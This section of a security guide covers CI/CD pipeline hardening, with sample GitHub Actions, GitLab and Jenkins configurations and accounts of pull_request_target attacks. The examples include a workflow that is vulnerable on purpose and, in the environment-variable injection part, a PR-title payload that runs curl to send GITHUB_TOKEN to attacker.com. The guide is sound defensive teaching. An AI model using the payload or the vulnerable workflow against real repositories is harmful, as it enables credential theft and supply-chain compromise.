17.1 CI/CD Security Principles¶
CI/CD = Crown Jewels
SolarWinds attackers compromised the build system—not source code, not production. CI/CD pipelines have access to source, secrets, signing keys, and deployment credentials. A compromised pipeline injects malicious code into every artifact it produces.
The SolarWinds attack succeeded because attackers compromised the build system—not the source code repository, not the deployed application, but the infrastructure that transformed code into software. CI/CD pipelines are uniquely powerful: they have access to source code, secrets, signing keys, and deployment credentials. They execute arbitrary code as part of normal operation. A compromised build pipeline can inject malicious code into every artifact it produces. Securing these systems requires principles that recognize their unique position in the software supply chain.
This section establishes foundational security principles for CI/CD pipelines that apply across platforms, from GitHub Actions to self-hosted Jenkins, providing the basis for secure build infrastructure.
The Unique Risk of CI/CD Systems¶
CI/CD systems combine characteristics that make them high-value targets:
| Characteristic | Security Implication |
|---|---|
| Code execution | Run arbitrary code as core function |
| Credential access | Store and use deployment secrets |
| Privileged position | Trusted to modify production |
| Automation | Actions happen without human review |
| Complexity | Many integrations, large attack surface |
The OWASP CI/CD Security Top 102 identifies the most critical risks:
- Insufficient Flow Control Mechanisms
- Inadequate Identity and Access Management
- Dependency Chain Abuse
- Poisoned Pipeline Execution
- Insufficient PBAC (Pipeline-Based Access Controls)
- Insufficient Credential Hygiene
- Insecure System Configuration
- Ungoverned Usage of Third-Party Services
- Improper Artifact Integrity Validation
- Insufficient Logging and Visibility
These risks share a common thread: CI/CD systems are often treated as trusted infrastructure rather than attack surface requiring defense. Many security teams discover that hardening applications means little if an attacker can compromise the build system and deploy arbitrary code directly to production.
The CNCF Software Supply Chain Best Practices white paper v21 provides comprehensive guidance on securing CI/CD pipelines, with persona-based recommendations for developers, operators, and security teams. It cites industry estimates that software supply chain attacks cost over $45 billion in 2023, underscoring why build infrastructure deserves production-grade security controls.
Least Privilege for Build Systems¶
Least privilege means granting only the minimum permissions necessary for a task. For CI/CD, this applies to every component.
Scope Credentials Per Job
Signing keys should only be accessible to release jobs. Database access should be limited to specific tables. Cloud credentials should be role-based with specific actions. Never use admin credentials or write-all permissions.
Pipeline Permissions:
# GitHub Actions: Minimal permissions
permissions:
contents: read # Only read source code
packages: write # Write to package registry
# All other permissions implicitly denied
# NOT this:
permissions: write-all # Excessive
Credential Scoping:
| Credential | Wrong Approach | Right Approach |
|---|---|---|
| Cloud access | Admin credentials | Role with specific actions |
| Database | Root access | User with minimal tables |
| Registry | Full push/pull | Write to specific repos |
| Signing | Key accessible to all jobs | Key accessible only to release job |
Implementation by Platform:
GitHub Actions:
# Job-level permissions
jobs:
build:
permissions:
contents: read
# Cannot push, cannot access secrets by default
deploy:
permissions:
contents: read
id-token: write # For OIDC
environment: production # Requires approval
GitLab CI:
# Define DEPLOY_KEY as a protected and masked CI/CD variable
# in GitLab project or group settings, not in this YAML file.
# Restrict job to specific branches
deploy:
only:
- main
environment:
name: production
Jenkins:
// Use credentials binding with minimal scope
pipeline {
stages {
stage('Deploy') {
steps {
withCredentials([
usernamePassword(
credentialsId: 'deploy-creds',
usernameVariable: 'DEPLOY_USER',
passwordVariable: 'DEPLOY_PASS'
)
]) {
// Credentials only available in this block
sh 'deploy.sh'
}
// Credentials no longer available here
}
}
}
}
Least Privilege Checklist:
# CI/CD Least Privilege Audit
### Repository Access
- [ ] Build jobs have read-only source access where possible
- [ ] Write access limited to specific branches/paths
- [ ] No admin access to repositories from pipelines
### Credential Access
- [ ] Each job accesses only credentials it needs
- [ ] Credentials scoped to specific environments
- [ ] No shared "super" credentials across pipelines
### Infrastructure Access
- [ ] Build systems cannot access production directly
- [ ] Deployment requires separate, scoped credentials
- [ ] No persistent admin access from build systems
### Network Access
- [ ] Outbound access limited to required destinations
- [ ] No inbound access except from authorized sources
- [ ] Build systems isolated from corporate network
Isolation Between Build Jobs¶
Build isolation ensures that one job cannot interfere with or access data from another job.
Why Isolation Matters:
Without isolation:
- Malicious job can steal secrets from other jobs
- Compromised build can persist and affect future builds
- One project can attack another project's build
Isolation Mechanisms:
| Mechanism | Isolation Level | Trade-offs |
|---|---|---|
| Process | Minimal | Fast but weak isolation |
| Container | Moderate | Good balance of security and performance |
| VM | Strong | Higher overhead, better isolation |
| Hardware | Maximum | Expensive, used for highest-security |
Container Isolation:
# GitHub Actions: Container job
jobs:
build:
runs-on: ubuntu-latest
container:
image: node:24
options: --user 1001 # Non-root
steps:
- run: npm ci && npm run build
# GitLab CI: Container isolation
build:
image: node:24
script:
- npm ci && npm run build
# Each job runs in fresh container
VM-Level Isolation:
# GitHub Actions: Self-hosted with VM isolation
jobs:
build:
runs-on: [self-hosted, vm-isolated]
# Each job gets fresh VM, destroyed after
Cross-Job Protection:
# Prevent jobs from accessing each other's data
jobs:
job-a:
runs-on: ubuntu-latest
steps:
- run: echo "secret-a" > /tmp/secret
job-b:
runs-on: ubuntu-latest
needs: job-a
steps:
# This should NOT find job-a's secret
- run: cat /tmp/secret || echo "Properly isolated"
Isolation Failures to Watch For:
| Failure Mode | Symptom | Mitigation |
|---|---|---|
| Shared file system | Jobs see each other's files | Use container/VM isolation |
| Shared runners | State persists between jobs | Use ephemeral runners |
| Shared network | Jobs can communicate | Network segmentation |
| Shared credentials | All jobs access all secrets | Scope credentials per job |
Ephemeral Build Environments¶
Ephemeral environments are created fresh for each build and destroyed afterward, eliminating persistence attacks.
Ephemeral vs. Persistent Runners:
| Aspect | Ephemeral | Persistent |
|---|---|---|
| Security | High (no persistence) | Lower (state accumulates) |
| Performance | Slower startup | Faster (caches available) |
| Cost | Higher (spin-up overhead) | Lower |
| Maintenance | Lower (self-cleaning) | Higher (needs cleanup) |
| Attack surface | Minimal | Grows over time |
The Persistence Problem:
On persistent runners:
- Malware can hide and persist
- Cached credentials can be stolen
- Build artifacts can be tampered with
- Debugging artifacts may contain secrets
Implementing Ephemeral Runners:
GitHub Actions (Self-hosted):
# Ephemeral self-hosted runner
# Runner deregisters after one job
runs-on: [self-hosted, ephemeral]
# Configuration in runner setup:
# ./config.sh --ephemeral
GitLab CI (Autoscaling):
# config.toml for GitLab Runner
[[runners]]
name = "ephemeral-runner"
executor = "docker+machine"
[runners.machine]
IdleCount = 0
IdleTime = 0 # Destroy immediately after use
MaxBuilds = 1 # One build per machine
Jenkins (Kubernetes):
# Kubernetes plugin: Pod template
apiVersion: v1
kind: Pod
metadata:
labels:
jenkins: agent
spec:
containers:
- name: jnlp
image: jenkins/inbound-agent
# Pod destroyed after build
restartPolicy: Never
Cache Security with Ephemeral Runners:
# GitHub Actions: Secure caching pattern
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/cache@v3
with:
path: ~/.npm
key: npm-${{ hashFiles('**/package-lock.json') }}
# Cache keyed to lockfile - changes trigger new cache
# Even with caching, runner is ephemeral
# Lockfile integrity checks help detect tampered dependencies
Audit Logging and Traceability¶
Every action in CI/CD should be logged, traceable, and tamper-evident.
What to Log:
| Category | Events |
|---|---|
| Authentication | Logins, token usage, failed attempts |
| Authorization | Permission grants, access decisions |
| Configuration | Pipeline changes, settings modifications |
| Execution | Job runs, commands executed, artifacts created |
| Secrets | Secret access (not values), rotations |
| Integration | External service calls, webhook triggers |
Log Requirements:
## CI/CD Audit Logging Requirements
### Mandatory Fields
- Timestamp (UTC, high precision)
- Actor (user, service, token ID)
- Action (what was done)
- Resource (what was affected)
- Result (success, failure, error)
- Source (IP, trigger source)
### Retention
- Minimum: 90 days online, 1 year archived
- Security incidents: 7 years
### Protection
- Logs shipped to immutable storage
- Tamper detection enabled
- Separate access controls from CI/CD
Platform-Specific Logging:
GitHub Actions:
# GitHub provides built-in audit logs
# Access via: Settings > Audit log
# Additional logging in workflows
- name: Log deployment
run: |
echo "::notice::Deployed ${{ github.sha }} to production"
# Send to external SIEM
- name: Ship logs
uses: some-org/siem-action@v1
with:
endpoint: ${{ secrets.SIEM_ENDPOINT }}
GitLab CI:
# GitLab provides audit events
# Access via: Admin Area > Audit Events
# Job-level logging
script:
- echo "Build started by ${GITLAB_USER_LOGIN} at $(date -u)"
- # Commands here are logged in job output
# Artifact audit
artifacts:
paths:
- build/
reports:
junit: test-results.xml
Jenkins:
// Enable audit logging plugin
// Manage Jenkins > Configure Global Security > Audit Trail
pipeline {
options {
buildDiscarder(logRotator(numToKeepStr: '100'))
timestamps()
}
stages {
stage('Build') {
steps {
echo "Build ${BUILD_NUMBER} started by ${BUILD_USER}"
}
}
}
}
SLSA Provenance:
SLSA3 (Supply-chain Levels for Software Artifacts) defines provenance requirements:
{
"_type": "https://in-toto.io/Statement/v1",
"subject": [
{
"name": "artifact.tar.gz",
"digest": {"sha256": "abc123..."}
}
],
"predicateType": "https://slsa.dev/provenance/v1",
"predicate": {
"buildDefinition": {
"buildType": "https://github.com/Attestations/GitHubActionsWorkflow@v1",
"externalParameters": {
"source": {
"uri": "git+https://github.com/org/repo",
"digest": {"sha1": "abc123..."}
}
}
},
"runDetails": {
"builder": {"id": "https://github.com/Attestations/GitHubHostedActions@v1"},
"metadata": {"invocationId": "https://github.com/org/repo/actions/runs/12345"}
}
}
}
Network Segmentation¶
Build infrastructure should be network-isolated from both development and production environments.
Segmentation Architecture:
┌─────────────────────────────────────────────────────────────────┐
│ NETWORK SEGMENTATION │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ DEVELOPMENT │ │ PRODUCTION │ │
│ │ NETWORK │ │ NETWORK │ │
│ └────────┬─────────┘ └────────┬─────────┘ │
│ │ │ │
│ │ (no direct access) │ (no direct access) │
│ │ │ │
│ ┌────────▼───────────────────────▼─────────┐ │
│ │ BUILD NETWORK │ │
│ │ │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Runners │ │ Artifact│ │ Registry│ │ │
│ │ │ │ │ Storage │ │ │ │ │
│ │ └─────────┘ └─────────┘ └─────────┘ │ │
│ │ │ │
│ └──────────────────────────────────────────┘ │
│ │ │
│ (controlled egress only) │
│ │ │
│ ┌──────────────────────▼──────────────────┐ │
│ │ EXTERNAL SERVICES │ │
│ │ (package registries, APIs, etc.) │ │
│ └─────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Egress Controls:
# Kubernetes NetworkPolicy for build runners
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: build-runner-egress
spec:
podSelector:
matchLabels:
role: build-runner
policyTypes:
- Egress
egress:
# Allow package registries
- to:
- ipBlock:
cidr: 104.16.0.0/12 # npm, etc.
ports:
- port: 443
# Allow internal artifact storage
- to:
- namespaceSelector:
matchLabels:
name: artifact-storage
ports:
- port: 443
# Deny all other egress by default
Cloud-Specific Segmentation:
| Cloud | Implementation |
|---|---|
| AWS | VPC for build systems, Security Groups, NAT Gateway egress |
| Azure | VNet, NSGs, Azure Firewall |
| GCP | VPC, Firewall Rules, Cloud NAT |
Minimal Build Authority¶
Minimal build authority means the build system should have only the capabilities required to build software—nothing more.
Authority Boundaries:
| Authority | Build System Should | Build System Should NOT |
|---|---|---|
| Source code | Read | Modify (except designated files) |
| Dependencies | Download from approved sources | Download from arbitrary sources |
| Artifacts | Create and sign | Deploy to production directly |
| Infrastructure | None | Provision or modify |
| Secrets | Access scoped secrets | Access all secrets |
Separation of Concerns:
BUILD AUTHORITY vs. DEPLOY AUTHORITY
─────────────────────────────────────────────────────
Compile code Push to production
Run tests Modify infrastructure
Create artifacts Access production data
Sign packages Change production config
Upload to staging Access customer data
Implementation Pattern:
# GitHub Actions: Separated build and deploy
jobs:
build:
# Build has minimal authority
permissions:
contents: read
outputs:
artifact-digest: ${{ steps.build.outputs.digest }}
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build
- id: build
run: echo "digest=$(sha256sum dist.tar.gz)" >> $GITHUB_OUTPUT
- uses: actions/upload-artifact@v4
with:
name: dist
path: dist.tar.gz
deploy:
# Deploy has scoped authority, requires approval
needs: build
permissions:
contents: read
id-token: write
environment: production # Requires manual approval
steps:
- uses: actions/download-artifact@v4
# Verify artifact integrity before deploy
- run: |
echo "${{ needs.build.outputs.artifact-digest }}" | sha256sum -c
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.DEPLOY_ROLE }}
Dangerous Workflow Patterns¶
Certain CI/CD patterns create vulnerabilities that are easy to overlook. These anti-patterns often arise from legitimate requirements but implement solutions in insecure ways.
GitHub Actions: pull_request_target Injection¶
A particularly dangerous attack vector involves the pull_request_target event in GitHub Actions. Unlike pull_request, which runs workflow code from the PR branch in a restricted context, pull_request_target runs workflow code from the base branch but with access to repository secrets and write permissions. If the workflow checks out and executes PR code, an attacker can submit a malicious PR that gains full access to secrets:
# DANGEROUS: Checks out untrusted PR code with secret access
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Untrusted code!
- run: npm test # Executes attacker-controlled code with secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
Why this is dangerous:
- The workflow file itself is trusted (from the base branch)
- But the checked-out code is untrusted (from the PR branch)
- Secrets are available because
pull_request_targetis "trusted" - Attacker can modify
package.jsonscripts, test files, or any code path
2026: Cordyceps showed this pattern at scale
In June 2026, Novee Security named Cordyceps for workflow compositions where untrusted pull requests can trigger privileged workflows. In a scan of about 30,000 high-impact repositories, researchers reported 300+ fully exploitable cases. Reported examples included Microsoft's Azure Sentinel, where a PR comment could run anonymous attacker code on Microsoft CI and steal a non-expiring GitHub App key; Google's AI Agent Development Kit samples, where a PR could gain complete authority over a Google Cloud repository; Apache Doris, where PR comments could trigger zero-click code execution and exfiltrate CI credentials; Cloudflare Workers SDK, where a crafted branch name could execute commands on CI runners; and Python's Black, where a single PR could steal an automation token usable to approve PRs.4 After disclosure, Microsoft and Google reportedly confirmed impact, while Cloudflare, Python, and Apache applied hardening or patches. The reported attack path required no organization membership; a free account was enough to forge approvals, push code, or steal credentials. The important lesson is not that a single GitHub Actions feature was broken, but that untrusted PR data crossed a trust boundary while each individual workflow component was "working as designed."
We recommend treating every PR-triggered workflow as untrusted until a protected environment, maintainer approval, and least-privilege token scope say otherwise. Prefer pull_request for validation, keep GITHUB_TOKEN read-only by default, require approval for workflows from forks, and do not expose long-lived or non-expiring credentials to any job reachable from PR metadata. Novee also warned that agentic coding can reproduce these workflow patterns at scale, so template review matters as much as reviewing hand-written YAML.
2026: AsyncAPI—from research finding to live exploitation
Weeks after the Cordyceps disclosures, the pattern moved from exposure to exploitation. On July 14, 2026, attackers exploited a pull_request_target workflow across four core AsyncAPI repositories to steal the asyncapi-bot personal access token, then published five trojanized packages—including @asyncapi/generator and @asyncapi/specs, with a combined 2.25+ million weekly downloads—to npm. The payload staged a multi-stage remote access trojan via IPFS and harvested browser data, SSH keys, cloud credentials, and tokens. The malicious versions were live for roughly four hours before removal.5 The bot account is the lesson: automation identities with publishing rights concentrate exactly the privileges these workflow patterns expose, so their tokens deserve the tightest possible scoping, rotation, and monitoring.
Safe patterns:
# SAFE: Two-workflow approach
# Workflow 1: Validate in restricted context
on: pull_request
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test # No secrets available
# Workflow 2: Only runs on approval
on:
pull_request_review:
types: [submitted]
jobs:
deploy-preview:
if: github.event.review.state == 'approved'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm run deploy-preview
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
Mitigation checklist:
- Audit all
pull_request_targetworkflows - Prefer
pull_requestoverpull_request_targetfor untrusted validation - Never check out
github.event.pull_request.head.shain privileged workflows - Use separate workflows for validation (unprivileged) and deployment (privileged)
- Set
GITHUB_TOKENand jobpermissionsto read-only unless a protected job needs more - Require approval before workflows from forks or external PRs perform privileged actions
- Remove long-lived and non-expiring credentials from all PR-triggered jobs
Environment Variable Injection¶
Build systems often interpolate user-controlled data into shell commands. Without proper escaping, attackers can inject arbitrary commands:
# DANGEROUS: Unescaped interpolation
- run: echo "Building ${{ github.event.pull_request.title }}"
# PR title: "fix"; curl attacker.com/steal?token=$GITHUB_TOKEN
Mitigation: Use environment variables instead of inline interpolation:
# SAFE: Environment variable
- run: echo "Building $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
Recommendations¶
For DevOps Engineers:
-
Default to minimal permissions. Start with no permissions and add only what's required. Document every permission and its justification.
-
Use ephemeral runners. Persistent runners accumulate risk. Ephemeral runners eliminate persistence attacks and simplify security.
-
Segment build networks. Build systems should not have direct access to production. Use separate networks and controlled pathways.
For Platform Engineers:
-
Implement comprehensive logging. Every CI/CD action should be logged to immutable storage. You cannot investigate what you didn't record.
-
Separate build and deploy authority. Building software and deploying it are different functions requiring different permissions. Separate them.
-
Design for isolation. Each build job should be isolated from others. Container or VM isolation prevents cross-job attacks.
For Security Practitioners:
-
Audit CI/CD like production. Apply the same security rigor to build systems as production systems. They're equally critical.
-
Verify isolation regularly. Test that jobs cannot access each other's data, that runners are truly ephemeral, and that network controls work.
-
Assume compromise. Design build systems assuming they will be targeted. Minimize blast radius through segmentation and least privilege.
CI/CD security principles form the foundation for everything that follows. Without least privilege, isolation, ephemeral environments, logging, segmentation, and minimal authority, no amount of tooling or process will secure your build pipeline. These principles—applied consistently across platforms—create the conditions for secure software delivery.
-
CNCF TAG Security, "Software Supply Chain Best Practices v2," November 2024, https://tag-security.cncf.io/blog/software-supply-chain-security-best-practices-v2/ ↩
-
OWASP, "Top 10 CI/CD Security Risks," https://owasp.org/www-project-top-10-ci-cd-security-risks/ ↩
-
OpenSSF, "SLSA: Supply-chain Levels for Software Artifacts," https://slsa.dev/ ↩
-
The Hacker News, "Cordyceps CI/CD Flaws Expose 300+ GitHub Repositories to Supply Chain Attacks," June 2026, https://thehackernews.com/2026/06/cordyceps-cicd-flaws-expose-300-github.html; Ionut Arghire, "Exploitable CI/CD Vulnerabilities Expose Millions of Repositories to Hijacking," SecurityWeek, June 2026, https://www.securityweek.com/exploitable-ci-cd-vulnerabilities-expose-millions-of-repositories-to-hijacking/ ↩
-
GitGuardian, "The Streak Continues: Four More Supply Chain Attacks Hit npm and PyPI," July 2026, https://blog.gitguardian.com/shai-hulud-npm-pypi-supply-chain-attacks/ ↩